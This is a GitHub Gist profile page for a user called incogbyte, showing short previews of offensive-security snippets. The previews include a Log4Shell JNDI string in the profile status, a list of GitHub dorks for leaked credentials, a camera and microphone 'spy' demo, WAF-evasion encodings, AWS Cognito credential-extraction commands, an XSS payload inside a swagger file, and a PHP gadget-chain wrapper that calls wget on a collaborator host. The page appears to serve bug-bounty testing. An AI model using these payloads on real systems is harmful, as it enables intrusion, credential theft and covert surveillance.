Skip to content

Instantly share code, notes, and snippets.

View incogbyte's full-sized avatar
πŸ€
./../../../../../${jndi:ldap://127.0.0.1#{{${hostName}.{lol}}}/{{random}}}

π•šπ•Ÿπ•”π• π•˜π•“π•ͺπ•₯𝕖 incogbyte

πŸ€
./../../../../../${jndi:ldap://127.0.0.1#{{${hostName}.{lol}}}/{{random}}}
View GitHub Profile
@incogbyte
incogbyte / dumper.sh
Created August 14, 2025 13:11
APK Dumper and Automation some
#!/bin/bash
RED='\033[0;31m'
GREEN='\033[0;32m'
BLUE='\033[0;34m'
YELLOW='\033[1;33m'
NC='\033[0m'
SEARCH_FILTER=""
INCLUDE_SYSTEM=false
@incogbyte
incogbyte / dorks.txt
Created July 24, 2025 23:29
github dorks
.mlab.com+password
WFClient+Password+extension:ica
access_key
access_token
admin_pass
admin_user
algolia_admin_key
algolia_api_key
alias_pass
alicloud_access_key
@incogbyte
incogbyte / capture.html
Last active July 3, 2025 12:17
Cam + Mic Capture Demo - Camera and Microphone Spy Chromium Browsers
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<title>Cam + Mic Capture Demo</title>
<style>
body { font-family: system-ui, sans-serif; padding: 1rem; }
#video { max-width: 350px; border-radius: 8px; background: #000; }
#controls { margin-top: 1rem; }
button { padding: .6rem 1rem; margin-right: .5rem; }
@incogbyte
incogbyte / encoding_waf_evasion.py
Created January 27, 2025 11:28
Python script that generates diff encodings techniques. Those techniques can be used to bypass HTTP WAF.
import urllib.parse
"""
By @incogbyte
Python script that generates diff encodings techniques.
Those techniques can be used to bypass HTTP WAF.
"""
def generate_encodings(input_string):
encodings = {}
@incogbyte
incogbyte / cognito.md
Created January 14, 2024 15:36
cognito exploitation
  1. Generate temporary AWS credentials using unauth user 1.1 - Get the poolId 2.1 - IdendityID 3.1 - Use the following command on aws-cli "example" $ aws cognito-identity get-id --identity-pool-id "us-east-1:f3400f4e-6a41-47db-834c-4af6d56e8359" --region "us-east-1"

    3.2 - Use the following command to get aws credentials $ aws cognito-identity get-credentials-for-identity --identity-id "us-east-1:f3400f4e-6a41-47db-834c-4af6d56e8359" --region "us-east-1"

swagger: '2.0'
info:
title: Classic API Resource Documentation
description: |
<form><math><mtext></form><form><mglyph><svg><mtext><textarea><path id="</textarea><img onerror=alert('textarea') src=1>"></form>
version: production
basePath: /JSSResource/
produces:
- application/xml
@incogbyte
incogbyte / phpggc_wrapper.sh
Created June 15, 2023 13:31
generate gadget chains php
#!/bin/bash
# Git clone this tool https://github.com/ambionics/phpggc
# phpggc wrapper that automatically generates payloads for RCE gadgets
function="system"
command="wget http://your.burpcollaborator.net/?"
# modify the options below depending on your use case
options="-a -b -u -f"
@incogbyte
incogbyte / words_from_subs.py
Created June 7, 2023 12:24
extract words from subdomains to make a wordlist
import re
import sys
def extract_subdomains(filename):
subdomains = set()
pattern = r"(?:https?://)?(?:www\.)?([^.]+\.[^.]+)"
with open(filename, 'r') as file:
for line in file:
match = re.search(pattern, line)
@incogbyte
incogbyte / permute_wordlist.txt
Created May 21, 2023 13:53
Permute subdomains wordlist
1
10
11
12
13
14
15
16
17
18
@incogbyte
incogbyte / gist:b03f7794a8e2d2e854bb1539d8c64d51
Created May 11, 2023 22:28
FFUF list of urls and save them into a file by name of the domains
#!/bin/bash
## Author: incogbyte
## Usage: ./ffuf_script.sh input.txt
extract_domain() {
echo "$1" | awk -F/ '{print $3}'
}